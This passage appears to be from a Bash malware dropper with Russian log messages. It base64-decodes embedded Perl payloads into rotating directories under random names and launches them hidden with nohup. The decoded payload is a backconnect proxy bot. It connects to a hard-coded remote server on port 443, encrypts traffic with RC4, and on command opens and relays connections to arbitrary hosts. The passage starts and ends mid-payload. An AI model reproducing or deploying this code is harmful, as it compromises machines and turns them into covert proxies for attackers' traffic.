ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #42 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #42 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup "./$PAYLOAD_NAME" >/dev/null 2>&1 &) fi sleep 0.3 if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 43 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTEnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK 